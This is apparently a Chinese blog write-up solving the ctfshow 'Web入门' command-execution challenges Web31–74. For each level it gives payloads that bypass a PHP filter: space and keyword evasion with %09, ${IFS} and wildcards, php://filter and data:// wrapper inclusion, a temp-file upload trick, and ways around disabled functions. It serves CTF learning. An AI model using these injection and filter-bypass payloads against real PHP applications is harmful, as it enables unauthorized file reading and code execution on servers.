Ctfshow Web入门 命令执行 Web31-74

CtfShow Web入门-命令执行

感谢Y4师傅!看Y4的Wp真的学到好多!

Web31
在这里插入图片描述

过滤条件: flag\system\php\cat\sort\shell\小数点\空格\单引号

执行passthru()查看flag

绕过cat使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq

绕过空格用%09 <> ${IFS} $IFS$9 {cat,fl*} %20

flag绕过可以用通符代替

执行echo查看flag(` 波浪号表示执行)

payload:echo `tac f*`

Web32
在这里插入图片描述
过滤条件:flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号
绕过:
用文件包含include(),include可以无括号包含,分号;可以用?>代替,与前面形成闭合,这样就可以做到参数逃逸

构造

payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

参数逃逸:
在这里插入图片描述
在这里插入图片描述

Web33-35
在这里插入图片描述
payload和上题一样

payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

.

Web36

在这里插入图片描述

过滤条件: 对比前一题多了对数字的过滤
将include的参数1改成字母就行了,include的无括号包含可以不用空格

payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37:
在这里插入图片描述

看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤

data伪协议命令执行:data:text/plain,<php代码; ?>

构造

payload:?c=data:text/plain; <?php system($_POST[1]);?>   POST: 1=tac flag.php 

利用POST提交的参数1进行逃逸绕过正则
在这里插入图片描述

Web38
在这里插入图片描述

相比上一题多了php和filter的过滤,应该是对php://filter的过滤,还是构造payload还是用data伪协议

绕过php:data伪协议后的代码是<?php code; ?>,这里php用短标签代替
<?php echols;?> 使用短标签方式表示:

<?=`ls`?>

payload 无非是把上一题的<?php短写:

payload:?c=data:text/plain,<?=`tac f*`?>

Web39

在这里插入图片描述

查看发现只过滤的flag,但是LFI的时候会带上.php ,这里先尝试一波执行data伪协议,尝试.php后缀是否会对伪协议的执行产生影响

Payload:?c=data:text/plain,<?php system(‘tac f*’);?> 

执行发现成功,加上.php并不会对伪协议的执行有影响,因为<?php code ?> 已经闭合执行完了

Web40-41

等本菜搞清楚了再来写吧,yu师傅tql

Web42

在这里插入图片描述

Payload: ?c=tac f*||

为什么用这个请看Web43的Wp

Web43

在这里插入图片描述

过滤条件: cat、分号,同时不区分大小写

>/dev/null 可以理解成不执行

绕过>/dev/null || &&

关于用法:
在这里插入图片描述

A || B 	A执行成功就不执行B,同理,A执行不成功就执行B
A  |  B 	将A的执行结果传入B
A && B 	A成功执行后执行B,如果A不成功,那么B就不会被执行
payload: ?c=tac flag.php ||

Web44

在这里插入图片描述

相比较上一题,只是多了一个对flag的过滤,这里可以用通配符*?代替
通配符:
在这里插入图片描述
表示匹配一个字符,这里设我们想看web82.py,那么写成web??.p? 就能查看,*表示匹配多个字符 ,这里设我们想看web82.py ,那么写成web82*
在这里插入图片描述

所以构造

payload:?c=tac%20fla*||

Web45

在这里插入图片描述

过滤条件:分号、cat、flag、空格
绕过 >/dev/null 不多赘述,主要是绕过空格,可以参考我web31、43的wp

构造

payload:?c=tac%09fla*||

Web46
在这里插入图片描述

过滤条件: cat、flag、空格、数字、$、*

绕过空格现在不能用$IFS绕过,但是可以用<>%09绕过(注意<?不能连用,至于为什么%09不被过滤是因为上传到服务器就是tab键,不算数字)
绕过flag用问号绕过,fla?.???

构造

payload: ?c=tac<fla%27%27g.php|| 
或者payload: ?c = tac%09fla?.???||

Web47-49

在这里插入图片描述

过滤条件:分号、flag、空格、数字、$、*、more、less、head、sort、tail

绕过了,但是又好像没绕,上一题的payload也适用于这题

payload: ?c=tac%09fla?.???||

Web50

在这里插入图片描述
过滤条件:

 分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%、%09、&(编码后为%26)

绕过空格:这里过滤了tab(%09),可以用<> 代替,但是<不能和?连用
绕过flag:之前用通配符*或?可以绕过,现在可以使用‘’或者/分割绕过

构造

payload:?c=tac<fla\g.php||
payload: ?c=tac<fla’’g.php||

Web51

在这里插入图片描述

过滤条件:

分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)

绕过:看到tac被禁用了…直接用nl查看

构造

payload:?c=nl<fla\g.php||  然后F12审计源码,就可以看到flag

Web52

在这里插入图片描述

过滤条件:

 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>

仔细一看少过滤了个$,多过滤了<>,那么这里用${IFS},构造

payload:?c=nl${IFS}fla\g.php||  执行完F12查看源码

Web53

在这里插入图片描述

过滤条件:

 分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>

这题没有将输入指令不执行,直接构造

payload: ?c=nl${IFS}fla?.???

Web54

在这里插入图片描述

好像是加强了正则,不能用*代替,构造

payload: ?c=/bin/??t${IFS}????.???

Web55
在这里插入图片描述
过滤条件:

 a-z 、`、%、%09(tab)、%26(&)、<、> 

不区分大小写

绕过可以用文件上传,参考Firebasky师傅的WP:
原理是文件上传,然后php会把他保存到临时目录/tmp去,然后利用.执行文件 ,配合通配符*,@-[] 表示大写字母 (@-[中间是大写字母,/tmp的目录生成临时文件是8个字符的且必有大写 )

在这里插入图片描述

在这里插入图片描述
用html构造本地上传,然后抓包执行,实现无字符命令注入

在这里插入图片描述

注意:ls一定要写在最底下!,不然就会像我一样,试了半天都不知道问题出在哪里

在这里插入图片描述

问了一下大牛师傅,说是内容后会跟分界符,所以切记不要留空(有懂的师傅可以解答一下)

这里还可以自己写python脚本

在这里插入图片描述

在这里插入图片描述

Web56
在这里插入图片描述
这里也可以用上一题的payload或者脚本打通,就不赘述了

在这里插入图片描述

Web57
不好意思,确实不会,附Y4tacker师傅的wp
在这里插入图片描述

Web58

在这里插入图片描述

突破禁用函数,也不知道禁用了哪些函数,就随便试试,万一呢
首先构造

payload:POST : c=print_r(scandir(%27/var/www/html/%27));

打印出当前目录,查看到当前目录flag名称,然后highlight_file或者show_source,最终

payload: ?c=show_source('flag.php');

在这里插入图片描述
具体突破禁用函数的方法太多了,可以自己慢慢尝试,最后再说一波:Y4tacker !!! YYDS

Web59

在这里插入图片描述
也不知道禁用了啥,还是试试show_source()吧

payload: ?c=show_source(‘flag.php’);

诶,成功了~

Web60-65

在这里插入图片描述
还是这个源码,但是禁用的方法多了点,多试几下,发现用上一题的payload可以

payload:?c=show_source(‘flag.php’);

刚刚看了y4师傅的wp,又看到个新姿势,用copy函数

payload: copy(‘flag.php’,’flag.txt’); 然后访问http://url/flag.txt**

在这里插入图片描述

Web66-67

在这里插入图片描述

首先还是想到之前的show_source,结果发现被禁了
然后扫描当前目录,查看flaprint_r(scandir(‘./’));

在这里插入图片描述
猜测flag在根目录,因为show_source被禁用所以用highlight_file()

在这里插入图片描述

payload: c=highlight_file('/flag.txt');

Web68-69
在这里插入图片描述

打开就提示highlight_file不行,首先扫描目录print_r(scandir(‘/’)); 发现print_r被禁用了,于是使用var_dump(scandir(‘/’)); 查看发现flag.txt ,直接文件包含

payload: c=include('/flag.txt');

Web70

在这里插入图片描述
用上题的payload

在这里插入图片描述
下载审计源码(过程在图中)

在这里插入图片描述
实际上就是把缓冲区内的内容转义了,这里可以用exit(); 绕过 (作用:使程序提前结束)
在这里插入图片描述

payload: c=include('/flag.txt');xit();

Web72

看了Y4师傅的WP…真学了不少,至于为什么这么执行… ,也不是很懂,总而言之后面的命令执行会专门整个WP解毒

Web73-74
在这里插入图片描述

执行payload:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); 查看当前目录发现flagc.txt ,直接文件包含

payload: c=include(‘/flagc.txt’);exit();
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值